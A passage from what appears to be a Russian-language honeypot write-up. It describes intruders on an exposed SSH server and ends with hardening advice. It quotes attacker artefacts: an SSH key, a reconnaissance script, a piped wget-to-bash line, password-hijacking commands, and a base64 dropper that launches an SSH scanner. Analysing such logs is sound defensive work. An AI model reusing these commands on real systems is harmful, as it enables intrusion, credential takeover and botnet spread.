\u0441\u043e\u0445\u0440\u0430\u043d\u044f\u0435\u0442 \u0442\u043e\u043b\u044c\u043a\u043e pid. \u041d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u043a \u043c\u0435\u0441\u0442\u0430 \u043f\u043e\u0432\u043b\u0438\u044f\u043b \u0438 \u043d\u0430 crontab.<\/p><\/blockquote>\n<p>\u0423\u0441\u043f\u0435\u0445 \u0431\u044b\u043b \u0434\u043e\u0441\u0442\u0438\u0433\u043d\u0443\u0442 \u0442\u043e\u043b\u044c\u043a\u043e \u043f\u043e \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0435\u043c\u0443 \u043f\u0443\u0442\u0438, \u043d\u043e \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u0439 \u0444\u0430\u0439\u043b \u0442\u0443\u0442 \u0436\u0435 \u0431\u044b\u043b \u0441\u0442\u0435\u0440\u0442, \u0430 \u0435\u0433\u043e \u043c\u0435\u0441\u0442\u043e \u0437\u0430\u043d\u044f\u043b <i>dhpcd<\/i>. \u042d\u0442\u043e\u0442 \u0441\u0435\u0440\u0432\u0438\u0441 \u0442\u043e\u0436\u0435 \u0434\u043e\u0436\u0438\u043b \u0434\u043e \u0432\u0441\u0442\u0440\u0435\u0447\u0438 \u0441\u043e \u043c\u043d\u043e\u0439, \u043d\u043e \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b\u044c\u043d\u044b\u0439 \u0444\u0430\u0439\u043b \u0443\u0436\u0435 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u043e\u0432\u0430\u043b. \u041a \u0441\u0447\u0430\u0441\u0442\u044c\u044e, procfs \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0432\u044b\u0442\u0430\u0449\u0438\u0442\u044c \u0444\u0430\u0439\u043b \u0434\u0430\u0436\u0435 \u043f\u043e\u0441\u043b\u0435 \u0435\u0433\u043e \u0443\u0434\u0430\u043b\u0435\u043d\u0438\u044f.<\/p>\n<pre><code class=\"plaintext\">root@trap:~# cat \/proc\/199142\/exe &gt; ~\/dhpcd root@trap:~# file dhpcd  dhpcd: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, stripped<\/code><\/pre>\n<p>  \u0421\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0439 \u0437\u0430\u0448\u0435\u0434\u0448\u0438\u0439 \u043f\u044b\u0442\u0430\u043b\u0441\u044f \u0441\u043c\u0435\u043d\u0438\u0442\u044c \u043f\u0430\u0440\u043e\u043b\u0438 \u0434\u043b\u044f \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 <i>ubuntu<\/i>, <i>test<\/i>, <i>oracle<\/i>, <i>admin<\/i>, <i>test1<\/i>, \u043f\u043e\u0441\u043b\u0435 \u0447\u0435\u0433\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u043b <i>authorized_keys<\/i> \u043d\u0430 \u043f\u0440\u0435\u0434\u043c\u0435\u0442 \u043a\u043b\u044e\u0447\u0430 <i>mdrfckr<\/i> \u0438 \u0437\u0430\u043c\u0435\u043d\u0438\u043b \u043a\u043b\u044e\u0447\u0438 \u043d\u0430 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0439 \u0431\u0435\u0437\u044b\u043c\u044f\u043d\u043d\u044b\u0439.<\/p>\n<div class=\"spoiler\" role=\"button\" tabindex=\"0\">                         <b class=\"spoiler_title\">\u041a\u043b\u044e\u0447<\/b>                         <\/p>\n<div class=\"spoiler_text\">\n<pre><code class=\"plaintext\">ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCuhPmv3xdhU7JbMoc\/ecBTDxiGqFNKbe564p4aNT6JbYWjNwZ5z6E4iQQDQ0bEp7uBtB0aut0apqDF\/SL7pN5ybh2X44aCwDaSEB6bJuJi0yMkZwIvenmtCA1LMAr2XifvGS\/Ulac7Qh5vFzfw562cWC+IOI+LyQZAcPgr+CXphJhm8QQ+O454ItXurQX6oPlA2rNfF36fnxYss1ZvUYC80wWTi9k2+\/XR3IoQXZHKCFsJiwyKO2CY+jShBbDBbtdOX3\/ksHNVNStA\/jPE0HYD7u6V2Efjv9K+AEbklMsytD9T60Iu3ua+ugBrP5hL7zAjPHpXH8qW4Ku7dySZ4yvH<\/code><\/pre>\n<p>  <\/div>\n<\/p><\/div>\n<p>  \u0414\u0430\u043b\u0435\u0435 \u0431\u044b\u043b \u0437\u0430\u0433\u0440\u0443\u0436\u0435\u043d \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u0439 \u0444\u0430\u0439\u043b <i>r<\/i> \u0432 <i>\/dev\/shm<\/i>. \u041f\u043e\u0445\u043e\u0436\u0435, \u0447\u0442\u043e \u0434\u0430\u043d\u043d\u044b\u0439 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u0439 \u0444\u0430\u0439\u043b \u0438\u0437\u0431\u0430\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043e\u0442 \u043a\u043e\u043d\u043a\u0443\u0440\u0435\u043d\u0442\u043e\u0432. \u041e\u043d \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u043d\u0430\u043b\u0438\u0447\u0438\u0435 <i>aliyun.one<\/i> \u0438 \u0441\u043a\u0430\u0447\u0438\u0432\u0430\u044e\u0449\u0438\u0445\u0441\u044f \u0441\u043a\u0440\u0438\u043f\u0442\u043e\u0432 \u0432 cron, \u0430 \u0437\u0430\u0442\u0435\u043c \u0443\u0434\u0430\u043b\u044f\u0435\u0442 \u043c\u043d\u043e\u0436\u0435\u0441\u0442\u0432\u043e \u0444\u0430\u0439\u043b\u043e\u0432 \u0438 \u0433\u0440\u0443\u0431\u043e \u0437\u0430\u0432\u0435\u0440\u0448\u0430\u0435\u0442 \u0434\u0440\u0443\u0433\u0438\u0435 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u044b.<\/p>\n<div class=\"spoiler\" role=\"button\" tabindex=\"0\">                         <b class=\"spoiler_title\">\u0421\u043f\u0438\u0441\u043e\u043a \u0443\u0434\u0430\u043b\u044f\u0435\u043c\u044b\u0445 \u0444\u0430\u0439\u043b\u043e\u0432<\/b>                         <\/p>\n<div class=\"spoiler_text\">\n<pre><code class=\"plaintext\">\/etc\/cron.hourly\/gcc.sh \/etc\/cron.hourly\/gcc4.sh \/lib\/libudev.so \/root\/pty \/tmp\/bash \/dev\/shm\/bash \/var\/tmp\/bash \/var\/lock\/bash \/var\/run\/bash \/bin\/httpsd \/lib\/udev\/udev \/lib\/udev\/debug \/root\/sysem \/root\/systma \/etc\/jourxlv \/tmp\/sysem \/tmp\/su \/tmp\/ddgs.* \/root\/pty10 \/root\/pty4 \/root\/xmr64 \/etc\/cron.hourly\/gcc.sh \/etc\/cron.hourly\/gcc4.sh \/lib\/libudev.so \/root\/pty \/tmp\/bash \/dev\/shm\/bash \/var\/tmp\/bash \/var\/lock\/bash \/var\/run\/bash \/bin\/httpsd \/lib\/udev\/udev \/lib\/udev\/debug \/root\/sysem \/root\/systma \/etc\/jourxlv \/tmp\/sysem \/tmp\/su \/tmp\/ddgs.* \/root\/pty10 \/root\/pty4 \/root\/xmr64 \/usr\/local\/sbin\/t \/usr\/local\/sbin\/rsync \/etc\/ceurnad<\/code><\/pre>\n<p>  <\/div>\n<\/p><\/div>\n<p>  <\/p>\n<div class=\"spoiler\" role=\"button\" tabindex=\"0\">                         <b class=\"spoiler_title\">\u0421\u043f\u0438\u0441\u043e\u043a \u0437\u0430\u0432\u0435\u0440\u0448\u0430\u0435\u043c\u044b\u0445 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432<\/b>                         <\/p>\n<div class=\"spoiler_text\">\n<pre><code class=\"plaintext\">python \/bin\/httpsd xm32 xm64 ceurnad .xmrig \/tmp\/.xs\/daemon.i686.mod .\/systma \/root\/.local\/syslogd \/tmp\/samba xorgg sc64u \/tmp\/su \/.tmp00\/<\/code><\/pre>\n<p>  <\/div>\n<\/p><\/div>\n<p>  \u041e\u0434\u0438\u043d \u0438\u0437 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0445 \u043f\u0440\u043e\u0448\u0435\u043b\u0441\u044f \u043f\u043e \u0432\u0441\u0435\u043c \u0444\u0430\u0439\u043b\u0430\u043c \u0432 <i>\/bin<\/i>, <i>\/usr\/bin\/<\/i>, <i>\/usr\/local\/bin<\/i>, <i>~\/bin<\/i>, \u0430 \u0442\u0430\u043a\u0436\u0435 \u043f\u043e \u0444\u0430\u0439\u043b\u0430\u043c \u0437\u0430\u043f\u0443\u0449\u0435\u043d\u043d\u044b\u0445 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432 (<i>\/proc\/$PID\/exe<\/i>) \u0438 \u043f\u0440\u0438\u043c\u0435\u043d\u0438\u043b \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0439 \u0444\u0438\u043b\u044c\u0442\u0440:<\/p>\n<pre><code class=\"plaintext\">file $FILENAME | grep -e &quot;statically linked&quot; -e \u201ctoo many section header sections\u201d<\/code><\/pre>\n<p>  \u041d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u044d\u0442\u043e\u0439 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u043e\u0441\u0442\u0430\u043b\u043e\u0441\u044c \u043d\u0435\u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u043c.<\/p>\n<p>  \u0417\u0430\u0442\u0435\u043c \u0432 \u043b\u043e\u0433\u0430\u0445 \u043f\u043e\u044f\u0432\u0438\u043b\u0438\u0441\u044c \u0432\u0442\u043e\u0440\u044b\u0435 \u043f\u043e\u043f\u044b\u0442\u043a\u0438 \u043f\u0435\u0440\u0435\u0447\u0438\u0441\u043b\u0435\u043d\u043d\u044b\u0445 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0445, \u0430 \u043f\u043e\u0442\u043e\u043c \u2014 \u0440\u0430\u0441\u0441\u0432\u0435\u0442 \u0438 \u043f\u0440\u0435\u043a\u0440\u0430\u0449\u0435\u043d\u0438\u0435 \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442\u0430. \u041a\u0430\u0437\u0430\u043b\u043e\u0441\u044c, \u0447\u0442\u043e \u043c\u043e\u0436\u043d\u043e \u043e\u0447\u0438\u0441\u0442\u0438\u0442\u044c \u0441\u0435\u0440\u0432\u0435\u0440 \u043e\u0442 \u043b\u0438\u0448\u043d\u0435\u0433\u043e \u041f\u041e, \u0437\u0430\u043c\u0435\u043d\u0438\u0442\u044c \u043a\u043e\u043c\u0430\u043d\u0434\u0443 <i>rm<\/i> \u043f\u0443\u0441\u0442\u044b\u0448\u043a\u043e\u0439 \u0438 \u043f\u043e\u043f\u044b\u0442\u0430\u0442\u044c\u0441\u044f \u0435\u0449\u0435 \u0440\u0430\u0437.  <\/p>\n<blockquote><p>\u0412 \u0438\u0434\u0435\u0430\u043b\u0435, \u043a\u043e\u043d\u0435\u0447\u043d\u043e, \u043d\u0443\u0436\u043d\u043e \u043f\u043e\u0434\u043c\u0435\u043d\u0438\u0442\u044c \u0438\u043b\u0438 \u0437\u0430\u043f\u0440\u0435\u0442\u0438\u0442\u044c \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0439 \u0432\u044b\u0437\u043e\u0432 <i>unlink(2)<\/i>, \u0447\u0442\u043e\u0431\u044b \u0432\u043e\u043e\u0431\u0449\u0435 \u043d\u0438\u0447\u0435\u0433\u043e \u043d\u0435 \u0443\u0434\u0430\u043b\u044f\u043b\u043e\u0441\u044c, \u043d\u043e \u044d\u0442\u043e\u0442 \u0442\u0440\u044e\u043a \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0441\u043b\u043e\u0436\u043d\u044b\u0439. \u0418 \u043c\u043e\u0436\u0435\u0442 \u0441\u043a\u043e\u0440\u0435\u0435 \u043d\u0430\u0432\u0440\u0435\u0434\u0438\u0442\u044c, \u0447\u0435\u043c \u043f\u043e\u043c\u043e\u0447\u044c.<\/p><\/blockquote>\n<p><font color=\"#EB4247\"><\/p>\n<h2>\u0412\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u043f\u044b\u0442\u043a\u0430<\/h2>\n<p><\/font><br \/>  \u0422\u0435\u043f\u0435\u0440\u044c \u043f\u0435\u0440\u0432\u044b\u043c \u043f\u0440\u0438\u0448\u0435\u043b \u043d\u0435\u0432\u0438\u0434\u0430\u043d\u043d\u044b\u0439 \u0440\u0430\u043d\u0435\u0435 \u043f\u043e\u0441\u0435\u0442\u0438\u0442\u0435\u043b\u044c. \u041e\u043d \u0440\u0430\u0431\u043e\u0442\u0430\u043b \u0447\u0435\u0440\u0435\u0437 \u0438\u043d\u0442\u0435\u0440\u0430\u043a\u0442\u0438\u0432\u043d\u0443\u044e \u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0443 \u0438 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043e\u0432\u0430\u043b\u0441\u044f \u043d\u0430\u043b\u0438\u0447\u0438\u0435\u043c <i>masscan<\/i> \u043d\u0430 \u043c\u043e\u0435\u043c \u0441\u0435\u0440\u0432\u0435\u0440\u0435. \u0417\u0430\u0442\u0435\u043c \u043e\u043d \u0441\u043e\u0431\u0440\u0430\u043b \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u0443\u044e \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e \u043f\u043e \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0440\u0443 \u0438 \u043f\u0430\u043c\u044f\u0442\u0438. \u041f\u043e\u0441\u043b\u0435 \u2014 \u0441\u043e\u0431\u0440\u0430\u043b \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e \u043e\u0431 IP, \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u043b \u0442\u0435\u0441\u0442\u044b \u0434\u0438\u0441\u043a\u043e\u0432\u043e\u0439 \u043f\u043e\u0434\u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u043b \u0441\u043a\u043e\u0440\u043e\u0441\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u0441\u0435\u0442\u0438 \u0418\u043d\u0442\u0435\u0440\u043d\u0435\u0442.<\/p>\n<p>  \u0418\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e, \u0447\u0442\u043e \u0441\u043a\u0440\u0438\u043f\u0442 \u0442\u0435\u0441\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0441\u043a\u0430\u0447\u0438\u0432\u0430\u043b\u0441\u044f \u0441 \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0435\u0439 \u0430\u0434\u0440\u0435\u0441\u0430 \u0438 \u0447\u0435\u0440\u0435\u0437 <i>stdin<\/i>: \u044d\u0442\u043e \u043f\u043e\u043c\u043e\u0433\u043b\u043e \u0441\u043a\u0440\u044b\u0442\u044c \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a \u0441\u043a\u0440\u0438\u043f\u0442\u0430 \u043e\u0442 \u043b\u043e\u0433\u043e\u0432 \u0442\u0440\u0430\u0441\u0441\u0438\u0440\u043e\u0432\u043a\u0438. <\/p>\n<pre><code class=\"plaintext\">echo url | wget -qO- bench.sh | bash<\/code><\/pre>\n<p>  \u041e\u0434\u043d\u0430\u043a\u043e \u0431\u043e\u043b\u044c\u0448\u0430\u044f \u0447\u0430\u0441\u0442\u044c \u0441\u043a\u0440\u0438\u043f\u0442\u0430 \u043b\u0435\u0433\u043a\u043e \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u043f\u043e \u043b\u043e\u0433\u0443 \u0442\u0440\u0430\u0441\u0441\u0438\u0440\u043e\u0432\u043a\u0438.<\/p>\n<div class=\"spoiler\" role=\"button\" tabindex=\"0\">                         <b class=\"spoiler_title\">\u0412\u043e\u0441\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u043d\u044b\u0439 \u0441\u043a\u0440\u0438\u043f\u0442 \u0431\u043e\u0442\u0430<\/b>                         <\/p>\n<div class=\"spoiler_text\">\n<pre><code class=\"plaintext\">\/usr\/lib\/command-not-found -- masscan awk -F: '\/model name\/ {name=$2} END {print name}' \/proc\/cpuinfo | sed &quot;s\/^[ \\\\t]*\/\/;s\/[ \\\\t]*$\/\/&quot; awk -F: &quot;\/model name\/ {core++} END {print core}&quot; \/proc\/cpuinfo awk &quot;-F[ :]&quot; &quot;\/cpu MHz\/ {print $4;exit}&quot; \/proc\/cpuinfo awk -F: '\/cache size\/ {cache=$2} END {print cache}' \/proc\/cpuinfo | sed &quot;s\/^[ \\\\t]*\/\/;s\/[ \\\\t]*$\/\/&quot; free -m | awk '\/Mem\/ {print $2}' free -m | awk '\/Swap\/ {print $2}' free -m | awk '\/Swap\/ {print $3}' awk '{a=$1\/86400;b=($1%86400)\/3600;c=($1%3600)\/60} {printf(&quot;%d days, %d hour %d min\\n&quot;,a,b,c)}' \/proc\/uptime w | head -1 | awk -F'load average:' '{print $2}' | sed 's\/^[ \\\\t]*\/\/;s\/[ \\\\t]*$\/\/' awk -F'[= &quot;]' '\/PRETTY_NAME\/{print $3,$4,$5}' \/etc\/os-release uname -m getconf LONG_BIT uname -r df -hPl | grep -wvE '\\\\-|none|tmpfs|devtmpfs|by-uuid|chroot|Filesystem|udev|docker' | awk '{print$2}' df -hPl | grep -wvE '\\\\-|none|tmpfs|devtmpfs|by-uuid|chroot|Filesystem|udev|docker' | awk '{print$3}'  # \u0421\u0435\u043a\u0446\u0438\u044f \u0441 \u043a\u0430\u043a\u0438\u043c\u0438-\u0442\u043e \u0432\u0441\u0442\u0440\u043e\u0435\u043d\u043d\u044b\u043c\u0438 \u043a\u043e\u043c\u0430\u043d\u0434\u0430\u043c\u0438 bash echo ??? | awk \u2018BEGIN{printf &quot;%.1f&quot;, 1.6 + 0.0}\u2019  sysctl net.ipv4.tcp_congestion_control | awk -F' ' '{print$3}' dmesg dmidecode -s system-manufacturer dmidecode -s system-product-name dmidecode -s system-version grep -qa docker \/proc\/1\/cgroup grep -qa lxc \/proc\/1\/cgroup grep -qa container=lxc \/proc\/1\/environ clear  # \u041e\u043f\u044f\u0442\u044c \u043a\u0430\u043a\u0430\u044f-\u0442\u043e \u043a\u043e\u043c\u0430\u043d\u0434\u0430 \u0438\u043d\u0442\u0435\u0440\u043f\u0440\u0435\u0442\u0430\u0442\u043e\u0440\u0430 echo ??? | sed \u2018s\/\\s\/-\/g\u2019  wget -q -T10 -O- ipinfo.io\/org wget -q -T10 -O- ipinfo.io\/city wget -q -T10 -O- ipinfo.io\/country wget -q -T10 -O- ipinfo.io\/region  # \u041e\u043f\u044f\u0442\u044c \u043a\u0430\u043a\u0430\u044f-\u0442\u043e \u043a\u043e\u043c\u0430\u043d\u0434\u0430 \u0438\u043d\u0442\u0435\u0440\u043f\u0440\u0435\u0442\u0430\u0442\u043e\u0440\u0430 echo ??? | sed \u2018s\/\\s\/-\/g\u2019  dd if=\/dev\/zero of=benchtest_222638 bs=64k count=16k conv=fdatasync | awk -F, '{io=$NF} END { print io}' | sed 's\/^[ \\\\t]*\/\/;s\/[ \\\\t]*$\/\/'  # \u041c\u043d\u043e\u0436\u0435\u0441\u0442\u0432\u043e \u0432\u044b\u0437\u043e\u0432\u043e\u0432 awk \u0441 \u0440\u0430\u0437\u043d\u044b\u043c\u0438 \u043c\u0430\u0442\u0435\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u043c\u0438 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f\u043c\u0438 awk 'BEGIN{print 759 + 777 + 1024}'  getconf WORD_BIT getconf LONG_BIT  # \u041e\u0431\u0435 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 \u0437\u0430\u0444\u0435\u0439\u043b\u0438\u043b\u0438\u0441\u044c wget --no-check-certificate -q -T10 -O speedtest.tgz 'https:\/\/dl.bintray.com\/ookla\/download\/ookla-speedtest-1.0.0-x86_64-linux.tgz' wget --no-check-certificate -q -T10 -O speedtest.tgz \u2018https:\/\/dl.lamp.sh\/files\/ookla-speedtest-1.0.0-x86_64-linux.tgz\u2019   # \u0418\u0437-\u0437\u0430 \u0443\u0441\u0442\u0430\u0440\u0435\u0432\u0448\u0438\u0445 \u0438\u043d\u0434\u0435\u043a\u0441\u043e\u0432 masscan \u043d\u0435 \u0431\u044b\u043b \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d apt install masscan apt update<\/code><\/pre>\n<p>  <\/div>\n<\/p><\/div>\n<p>  \u0417\u0430\u0442\u0435\u043c \u043f\u0440\u0438\u0448\u0435\u043b \u044d\u043a\u0441\u043f\u0435\u0440\u0442 \u043f\u043e \u0441\u043c\u0435\u043d\u0435 \u043f\u0430\u0440\u043e\u043b\u0435\u0439. \u0415\u0433\u043e \u0435\u0434\u0438\u043d\u0441\u0442\u0432\u0435\u043d\u043d\u0430\u044f \u0446\u0435\u043b\u044c \u2014 \u0441\u043c\u0435\u043d\u0438\u0442\u044c \u043f\u0430\u0440\u043e\u043b\u044c. \u0418 \u043e\u043d \u043d\u0435 \u0441\u043f\u0440\u0430\u0432\u0438\u043b\u0441\u044f! \u041d\u0438 \u043e\u0434\u043d\u0430 \u0438\u0437 \u043f\u0435\u0440\u0435\u0447\u0438\u0441\u043b\u0435\u043d\u043d\u044b\u0445 \u043a\u043e\u043c\u0430\u043d\u0434 \u043d\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u043b\u0430\u0441\u044c \u0443\u0441\u043f\u0435\u0448\u043d\u043e \u043d\u0430 \u043c\u043e\u0435\u043c \u0441\u0435\u0440\u0432\u0435\u0440\u0435.<\/p>\n<div class=\"spoiler\" role=\"button\" tabindex=\"0\">                         <b class=\"spoiler_title\">1000 \u0438 1 \u043f\u043e\u043f\u044b\u0442\u043a\u0430 \u043f\u043e\u043c\u0435\u043d\u044f\u0442\u044c \u043f\u0430\u0440\u043e\u043b\u044c<\/b>                         <\/p>\n<div class=\"spoiler_text\">\n<pre><code class=\"plaintext\">flash set DEF_SSH_PASSWORD mNXmCuf92lcV flash set SSH_PASSWORD mNXmCuf92lcV echo -e &quot;mNXmCuf92lcV\\nmNXmCuf92lcV\\n&quot; | passwd echo  root:mNXmCuf92lcV | chpasswd (echo mNXmCuf92lcV;sleep 3;echo mNXmCuf92lcV) | passwd nvram set http_passwd=root:mNXmCuf92lcV setuserpasswd root mNXmCuf92lcV sed -i 's\/:$[0-9]$[^:]\\{31\\}:\/:$1$KdlbdIQe$tXZ5Umytzl4tfobq\\\/ICJR\\\/:\/' \/etc\/shadow<\/code><\/pre>\n<p>  <\/div>\n<\/p><\/div>\n<p>  \u0410 \u0432\u043e\u0442 \u0438 \u00ab\u0437\u0430\u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435\u00bb \u0432 base64 \u0441\u043a\u0440\u0438\u043f\u0442\u044b \u043f\u043e\u0448\u043b\u0438:<\/p>\n<pre><code class=\"plaintext\">sleep 15s &amp;&amp; cd \/var\/tmp; echo &quot;IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4Cm1rZGlyIC5YMTktdW5peApjZCAuWDE5LXVuaXgKbXYgL3Zhci90bXAvZG90YTMudGFyLmd6IGRvdGEzLnRhci5negp0YXIgeGYgZG90YTMudGFyLmd6CnNsZWVwIDNzICYmIGNkIC90bXAvLlgxOS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgxOS11bml4Ly5yc3luYy9jL3RzbSAtdCAxNTAgLVMgNiAtcyA2IC1wIDIyIC1QIDAgLWYgMCAtayAxIC1sIDEgLWkgMCAvdG1wL3VwLnR4dCAxOTIuMTY4ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDhtICYmIG5vaHVwIC90bXAvLlgxOS11bml4Ly5yc3luYy9jL3RzbSAtdCAxNTAgLVMgNiAtcyA2IC1wIDIyIC1QIDAgLWYgMCAtayAxIC1sIDEgLWkgMCAvdG1wL3VwLnR4dCAxNzIuMTYgPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgMjBtICYmIGNkIC4uOyAvdG1wLy5YMTktdW5peC8ucnN5bmMvaW5pdGFsbCAyPjEmCmV4aXQgMA==&quot; | base64 --decode | bash<\/code><\/pre>\n<p>  <\/p>\n<div class=\"spoiler\" role=\"button\" tabindex=\"0\">                         <b class=\"spoiler_title\">\u0421\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 \u0441\u043a\u0440\u0438\u043f\u0442\u0430<\/b>                         <\/p>\n<div class=\"spoiler_text\">\n<pre><code class=\"bash\">#!\/bin\/bash cd \/tmp\t rm -rf .ssh rm -rf .mountfs rm -rf .X13-unix rm -rf .X17-unix rm -rf .X19-unix mkdir .X19-unix cd .X19-unix mv \/var\/tmp\/dota3.tar.gz dota3.tar.gz tar xf dota3.tar.gz sleep 3s &amp;&amp; cd \/tmp\/.X19-unix\/.rsync\/c nohup \/tmp\/.X19-unix\/.rsync\/c\/tsm -t 150 -S 6 -s 6 -p 22 -P 0 -f 0 -k 1 -l 1 -i 0 \/tmp\/up.txt 192.168 &gt;&gt; \/dev\/null 2&gt;1&amp; sleep 8m &amp;&amp; nohup \/tmp\/.X19-unix\/.rsync\/c\/tsm -t 150 -S 6 -s 6 -p 22 -P 0 -f 0 -k 1 -l 1 -i 0 \/tmp\/up.txt 172.16 &gt;&gt; \/dev\/null 2&gt;1&amp; sleep 20m &amp;&amp; cd ..; \/tmp\/.X19-unix\/.rsync\/initall 2&gt;1&amp; exit 0<\/code><\/pre>\n<p>  <\/div>\n<\/p><\/div>\n<p>  \u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u0432 \u0441\u043a\u0440\u0438\u043f\u0442\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f <i>dota3.tar.gz<\/i>, \u043d\u043e \u044d\u0442\u043e\u0442 \u0444\u0430\u0439\u043b, \u0443\u0432\u044b, \u043d\u0435 \u0431\u044b\u043b \u0437\u0430\u0433\u0440\u0443\u0436\u0435\u043d \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440. \ud83d\ude41<\/p>\n<p>  \u041f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u043c \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440 \u0437\u0430\u0448\u0435\u043b \u0443\u0436\u0435 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0439 \u043d\u0430\u043c krane, \u043e\u043d \u0436\u0435 \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0438\u043b \u0442\u0440\u0443\u0434\u0438\u0442\u044c\u0441\u044f \u0434\u043e \u0440\u0430\u0441\u0441\u0432\u0435\u0442\u0430.<\/p>\n<p>  <font color=\"#EB4247\"><\/p>\n<h2>\u0412\u044b\u0432\u043e\u0434\u044b<\/h2>\n<p><\/font><br \/>  \u041c\u044b \u043f\u0440\u0435\u0434\u043b\u043e\u0436\u0438\u043b\u0438 \u0418\u043d\u0442\u0435\u0440\u043d\u0435\u0442\u0443 \u0431\u0435\u0437\u0437\u0430\u0449\u0438\u0442\u043d\u0443\u044e \u0432\u0438\u0440\u0442\u0443\u0430\u043b\u043a\u0443 \u0438 \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u043b\u0438, \u0447\u0442\u043e \u043f\u0440\u043e\u0438\u0437\u043e\u0439\u0434\u0435\u0442. \u0412\u0441\u0435 \u0432 \u0440\u0430\u043c\u043a\u0430\u0445 \u043d\u0430\u0448\u0438\u0445 \u043e\u0436\u0438\u0434\u0430\u043d\u0438\u0439, \u043d\u043e \u0434\u0430\u0432\u0430\u0439\u0442\u0435 \u043f\u043e\u0434\u0432\u0435\u0434\u0435\u043c \u0438\u0442\u043e\u0433.<\/p>\n<ol>\n<li>\u041d\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0439\u0442\u0435 \u043f\u0430\u0440\u043e\u043b\u0438 \u0434\u043b\u044f \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0438 \u043f\u043e \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u043f\u0435\u0440\u0435\u043d\u043e\u0441\u0438\u0442\u0435 SSH \u043d\u0430 \u043d\u0435\u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u044b\u0439 \u043f\u043e\u0440\u0442. \u041c\u043e\u0436\u043d\u043e \u043f\u043e \u0432\u043a\u0443\u0441\u0443 \u0434\u043e\u0431\u0430\u0432\u0438\u0442\u044c fail2ban.<\/li>\n<li>\u0415\u0441\u043b\u0438 \u043d\u0430\u043b\u0438\u0447\u0438\u0435 \u043f\u0430\u0440\u043e\u043b\u044c\u043d\u043e\u0439 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 